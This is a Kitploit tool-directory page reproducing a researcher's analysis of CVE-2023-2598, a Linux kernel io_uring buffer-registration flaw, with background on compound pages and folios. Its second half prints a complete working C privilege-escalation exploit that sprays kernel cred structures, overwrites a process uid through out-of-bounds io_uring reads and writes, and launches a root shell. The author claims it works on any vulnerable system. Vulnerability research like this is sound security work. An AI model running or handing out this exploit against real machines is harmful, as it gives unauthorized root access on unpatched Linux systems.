Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-2598 — Technical analysis and proof-of-concept exploit for CVE-2023-2598, a Linux kernel privilege escalation vulnerability in io_uring's buffer registration, with detailed explanation of Compound Page and folio internals. | Kitploit
Tools/GitHubGitHub/cainiao159357/cve-2023-2598
Privilege EscalationVulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubcainiao159357/cve-2023-2598

CVE-2023-2598

Technical analysis and proof-of-concept exploit for CVE-2023-2598, a Linux kernel privilege escalation vulnerability in io_uring's buffer registration, with detailed explanation of Compound Page and folio internals.

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-2598 Privilege Escalation

Understand the Compound Page and folio mechanisms in Linux through CVE-2023-2598, and subsequently see if it's possible to complete the exploitation of the 1day CVE-2023-6560.

Compound Page (huge page)

Memory is growing larger and larger, but the basic page allocation unit of Linux is still 4K, which becomes insufficient. Therefore, compound pages are introduced to solve this problem. A compound page is essentially a collection of multiple pages, combining two or more physically contiguous pages into a unit, which in many aspects can be treated as a single larger page. They are most commonly used to create huge pages, used in hugetlbfs or transparent huge pages subsystems, but they also appear in other scenarios. Compound pages can be used as anonymous memory or as buffers in the kernel; however, they cannot appear in the page cache, which can only handle single pages.

Allocating a compound page involves calling alloc_pages() with the __GFP_COMP allocation flag set and a page frame number greater than 1, i.e., an order of at least 1. This is determined by the compound page implementation mechanism.

Note: Compound pages are always physically contiguous.

The flag in the first page will mark PG_head, indicating it is the head page of the compound page;

All subsequent pages will configure two properties: mapping and compound_head, and through compound_head it is determined whether it is a tail page or head page, see compound_head() function for details;

The second page stores more information about the compound page, which is also why the order of a compound page is at least 1;

root@kitploit:~
static inline unsigned long _compound_head(const struct page *page)
{
        unsigned long head = READ_ONCE(page->compound_head);
 
        if (unlikely(head & 1))
                return head - 1;
        return (unsigned long)page;
}

It can be seen that this field contains not only the flag but also a pointer to the head page.

So when a page is obtained, it is easy to determine whether it is a compound page, and if so, whether it is a head page or a tail page. However, there is still a crucial piece of information missing: the size of the compound page. If the size is unknown, it must be known when freeing this compound page. This information is all stored in the lru field of the first tail page: the size (order) of the compound page is first forcibly cast to a pointer type and stored in lru.prev, and the destructor is stored in lru.next.

As long as the head page and the size of the compound page are known, the huge page can be correctly freed, because compound pages are always physically contiguous.

The structure is shown in the following figure:

img

folio

A folio can be seen as a wrapper around a page, without overhead. A folio can be a single page or a compound page.

img

The above figure is a schematic of the page structure, 64 bytes managing information such as flags, lru, mapping, index, private, {ref_, map_}count, memcg_data, etc. When a page is a compound page, the above flags and other information reside in the head page, while the tail page reuses fields such as compound_{head, mapcount, order, nr, dtor} for management.

root@kitploit:~
struct folio {
        /* private: don't document the anon union */
        union {
                struct {
        /* public: */
                        unsigned long flags;
                        struct list_head lru;
                        struct address_space *mapping;
                        pgoff_t index;
                        void *private;
                        atomic_t _mapcount;
                        atomic_t _refcount;
#ifdef CONFIG_MEMCG
                        unsigned long memcg_data;
#endif
        /* private: the union with struct page is transitional */
                };
                struct page page;
        };
};

In the definition of the folio structure, the fields flags, lru, etc. are exactly the same as in the page structure, so they can be unioned with the page. This allows direct use of folio->flags instead of folio->page->flags.

root@kitploit:~
#define page_folio(p)           (_Generic((p),                          \
        const struct page *:    (const struct folio *)_compound_head(p), \
        struct page *:          (struct folio *)_compound_head(p)))

#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n)    nth_page(&(folio)->page, n)

At first glance, page_folio might be confusing, but it is equivalent to:

root@kitploit:~
switch (typeof(p)) {
  case const struct page *:
    return (const struct folio *)_compound_head(p);
  case struct page *:
    return (struct folio *)_compound_head(p)));
}

From the page_folio macro definition, it can be seen that a folio is actually a head page of a compound page. When converting a folio to a page, folio->page is used to obtain the head page, and folio_page(folio, n) can be used to obtain a tail page.

So what is the purpose of folio? More importantly, it is for development and efficiency considerations. Without folio, the function cannot determine whether the current page is a head page, so it would call _compound_head. If there are many execution paths, calling _compound_head in every function on the path would affect efficiency. However, if the function only accepts a struct folio * parameter, this folio points to the head page, so the function no longer needs to call _compound_head internally.

Therefore, there are three main functions:

  1. Reduce excessive redundant calls to _compound_head.
  2. Provide a hint to developers: seeing a folio confirms it is a head page.
  3. Fix potential bugs caused by tail pages.

Vulnerability Principle

In io_uring's io_uring_register_buffer, there is a logic section:

image-20240830214419290

When the pages passed from user space exceed 1, io_uring checks whether the passed buffer is a folio. The method is to use page_folio() to obtain the head page of page[i]. If the head page of page[i] equals page[0], it is considered to belong to the same compound page table.

Generally, this handling is fine, but there is a special case: if the user space uses mmap to map the same physical page table into contiguous virtual addresses, it also meets this judgment condition, and will eventually enter this branch:

image-20240830225137539

At this point, the user space only allocates one physical page, but the final size is the size of the contiguous virtual addresses, resulting in the size being potentially larger than the actual allocated physical address area. Ultimately, this leads to out-of-bounds read/write.

Exploitation

Spray cred, then use this out-of-bounds read/write interface to modify the uid.

Compared to the exp online, this exp modifies the uid, so there is no address dependency. Any system with this vulnerability can use this exp.

root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600

#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)

int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}
void log(char *buf){
    fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
    for(int i=0;i<CRED_DRAIN;i++){
        int ret=fork();
        if(!ret){
            read(check_root_pipe[0],child_pipe_buf,1);
            if(getuid()==0){
                write(1, root_str, 71);
                system("/bin/sh");
            }
            sleep(100000000);
        }
        check_ret(ret,"fork fail");
    }
}
void clear_buddy(){
    void * pages[MAX_PAGES];
    for(int i=0;i<MAX_PAGES;i++){
        pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
        check_ret(pages[i],"mmap");
    }
    for(int i=0;i<MAX_PAGES;i++){
        *(char *)pages[i]='a';
    }
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
    /* for syscall, it's clone(flags, stack, ...) */
    __asm__ volatile (
        " mov r15, rsi\n"   /* save the rsi*/
        " xor rsi, rsi\n"   /* set esp and useless args to NULL */
        " xor rdx, rdx\n"
        " xor r10, r10\n"
        " xor r8, r8\n"
        " xor r9, r9\n"
        " mov rax, 56\n"   /* __NR_clone */
        " syscall\n"
        " cmp rax, 0\n"
        " je child_fn\n"
        " ret\n"   /* parent */
        "child_fn:    \n"
        " jmp r15\n"   /* child */
    );
}


int waiting_for_root_fn(void *args)
{
    /* we're using the same stack for them, so we need to avoid cracking it.. */
    __asm__ volatile (
        "   lea rax, [check_root_pipe]\n"
        "   xor rdi, rdi\n"
        "   mov edi, dword ptr [rax]\n"
        "   mov rsi, child_pipe_buf\n"
        "   mov rdx, 1\n"
        "   xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
        "   syscall\n"
        "   mov rax, 102\n" /* getuid() */
        "   syscall\n"
        "   cmp rax, 0\n"
        "   jne failed\n"
        "   mov rdi, 1\n"
        "   lea rsi, [root_str]\n"
        "   mov rdx, 80\n"
        "   mov rax, 1\n"    /* write(1, root_str, 71) */
        "   syscall\n"
        "   lea rdi, [bin_sh_str]\n"
        "   lea rsi, [shell_args]\n"
        "   xor rdx, rdx\n"
        "   mov rax, 59\n"
        "   syscall\n"   /* execve("/bin/sh", args, NULL) */
        "failed: \n"
        "   lea rdi, [timer]\n"
        "   xor rsi, rsi\n"
        "   mov rax, 35\n"  /* nanosleep() */
        "   syscall\n"
    );
    return 0;
}


int main(){
    cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    int ret;
    int memfd;
    int rw_fd;
    struct iovec iovec;
    char *rw_buffer;
    uint64_t start_addr=0x800000000;
    int nr_pages=500;
    char buf[1000];
    // drain cred cache
    log("drain cred cache");
    pipe(check_root_pipe);
    cred_drain();
    // clear buddy system cache
    log("clear buddy system cache");
    clear_buddy();
    // initialize io_uring
    log("io_uring_setup");
    ret=io_uring_queue_init(8,&ring,0);
    check_ret(ret,"io_uring_setup fail");
    // prepare buffer
    log("prepare buf to register");
    memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
    check_ret(memfd,"memfd_create fail");
    rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
    check_ret(rw_fd,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    for(int i=0;i<nr_pages;i++){
        check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
    }
    rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
    check_ret(rw_buffer,"mmap fail");
    // register buffer
    log("register buffer");
    iovec.iov_base=start_addr;
    iovec.iov_len=nr_pages*PAGE_SIZE;
    check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
    // spray cred
    log("spray cred");
    for(int i=0;i<CRED_SPRAY;i++){
        check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
    }
    // search cred page
    log("search crea page");
    int page_offset=0;
    for(int i=0;i<nr_pages;i++){
        sqe=io_uring_get_sqe(&ring);
        check_ret(sqe,"io_uring_get_sqe fail");
        io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
        check_ret(io_uring_submit(&ring),"io_uring_submit fail");
        io_uring_wait_cqe(&ring, &cqe);
        io_uring_cqe_seen(&ring, cqe);
        int uid=((int *)(rw_buffer))[1];
        int gid=((int *)(rw_buffer))[2];
        if(uid==1000 && gid==1000){
            page_offset=i;
            break;
        }
    }
    if(page_offset==0){
        err_exit("not find cred page");
    }
    // edit cred's uid
    log("/edit cred's uid");
    *(size_t *)(rw_buffer)=0x2;
    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);


    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    // check privilege in child processes
    log("check privilege in child processes");
    write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
    sleep(100000000);
}

Thoughts

Notice this code snippet:

image-20240830230232004

If what is passed is indeed a compound page and it is registered, io_uring will not increase the reference count for subsequent pages. If the user space unmaps part of the compound page in the middle, the corresponding memory area, having only one reference, will be completely freed. However, the size recorded in io_uring does not change, so out-of-bounds read/write can be performed through io_uring. Unfortunately, after my testing, Linux does not allow unmapping from the middle of a compound page. But this is reasonable, because if it were allowed, it would be very difficult to manage pages.

Download Tool